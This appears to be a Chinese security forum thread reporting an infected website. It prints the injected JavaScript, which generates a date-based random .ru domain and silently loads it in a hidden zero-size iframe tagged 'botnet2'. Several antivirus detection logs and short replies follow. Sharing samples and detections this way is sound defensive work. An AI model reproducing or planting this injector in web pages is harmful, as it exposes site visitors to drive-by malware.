http://www.apexadvisory.com.my/

fireold

1. function nextRandomNumber() {
   
2.     var hi = this.seed / this.Q;
   
3.     var lo = this.seed % this.Q;
   
4.     var test = this.A * lo - this.R * hi;
   
5.     if (test > 0) {
   
6.         this.seed = test;
   
7.     } else {
   
8.         this.seed = test + this.M;
   
9.     }
   
10.     return (this.seed * this.oneOverM);
    
11. }
    
12. 
    
13. function RandomNumberGenerator(unix) {
    
14.     var d = new Date(unix * 1000);
    
15.     var s = d.getHours() > 12 ? 1 : 0;
    
16.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    
17.     this.A = 48271;
    
18.     this.M = 2147483647;
    
19.     this.Q = this.M / this.A;
    
20.     this.R = this.M % this.A;
    
21.     this.oneOverM = 1.0 / this.M;
    
22.     this.next = nextRandomNumber;
    
23.     return this;
    
24. }
    
25. 
    
26. function createRandomNumber(r, Min, Max) {
    
27.     return Math.round((Max - Min) * r.next() + Min);
    
28. }
    
29. 
    
30. function generatePseudoRandomString(unix, length, zone) {
    
31.     var rand = new RandomNumberGenerator(unix);
    
32.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
    
33.     var str = '';
    
34.     for (var i = 0; i < length; i++) {
    
35.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    
36.     }
    
37.     return str + '.' + zone;
    
38. }
    
39. 
    
40. setTimeout(function() {
    
41.     try {
    
42.         if (typeof iframeWasCreated == "undefined") {
    
43.             iframeWasCreated = true;
    
44.             var unix = Math.round(+new Date() / 1000);
    
45.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
    
46.             ifrm = document.createElement("IFRAME");
    
47.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
    
48.             ifrm.style.width = "0px";
    
49.             ifrm.style.height = "0px";
    
50.             ifrm.style.visibility = "hidden";
    
51.             document.body.appendChild(ifrm);
    
52.         }
    
53.     } catch (e) {}
    
54. }, 500);

复制代码

1. j % 2

复制代码

Avira

2014/1/5 上午 07:30 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\apexadvisory_com_my[1].htm'
      包含病毒或有害的程式 'JS/Expack.VU.1' [virus]
      已採取動作：
      檔案會移動至 '5a4336a9.qua' 名稱底下的隔離區目錄!

2014/1/5 上午 07:30 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        796
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/1/5 上午 07:29 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\apexadvisory_com_my[1].htm 中
      偵測到病毒或有害的程式 'JS/Expack.VU.1 [virus]'
      執行的動作：傳輸至掃描程式

2014/1/5 上午 07:29 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\apexadvisory_com_my[1].htm 中
      偵測到病毒或有害的程式 'JS/Expack.VU.1 [virus]'
      執行的動作：拒絕存取

2014/1/5 上午 07:29 [Web Protection] 發現惡意程式碼
      從 URL "http://www.apexadvisory.com.my/" 存取資料時，
      發現病毒或有害的程式 'JS/Expack.VU.1' [virus]。
      已採取動作：已略過

fs is

zmzcy

阻止了 www.apexadvisory.com.my 的入侵企图,已阻止,Web Attack: Mass Injection Website 2

文件名: apexadvisory_com_my[1].htm
威胁名称: Trojan.Malscript
完整路径: c:\users\mr\appdata\local\microsoft\windows\temporary internet files\low\content.ie5\2v9o9wt7\apexadvisory_com_my[1].htm

____________________________



详细信息
未知的社区使用情况,&nbsp; 未知的文件存在时间,&nbsp; 风险 高





原始
下载自
&nbsp;未知





活动
已执行的操作: 已执行的操作: 1



____________________________



在电脑上的创建时间&nbsp;
不可用


上次使用时间&nbsp;
2014/1/5 ( 12:53:46 )


启动项目&nbsp;
否


已启动&nbsp;
否


____________________________


未知
诺顿社区中使用了此文件的用户数 未知。

未知
此文件版本当前 未知。

高
此文件具有高风险。

威胁类型: 病毒。 将自身插入或附加到其他程序、文件或电脑区域以感染这些媒介的程序。



____________________________



来源: 外部介质



____________________________

文件操作

文件: c:\users\mr\appdata\local\microsoft\windows\temporary internet files\low\content.ie5\2v9o9wt7\ apexadvisory_com_my[1].htm 已删除
____________________________


文件指纹 - SHA:
f4b5a29712faac48458cb73de263ad5cf371cd15e934053582303165924a07a0
文件指纹 - MD5:
不可用

hhh900

zmzcy 发表于 2014-1-5 12:54
阻止了 www.apexadvisory.com.my 的入侵企图,已阻止,Web Attack: Mass Injection Website 2

文件名: ape ...

常在河边走，哪有不湿鞋？

尤金丶卡巴斯基

微点杀毒，微点主防均报，杀毒处理成功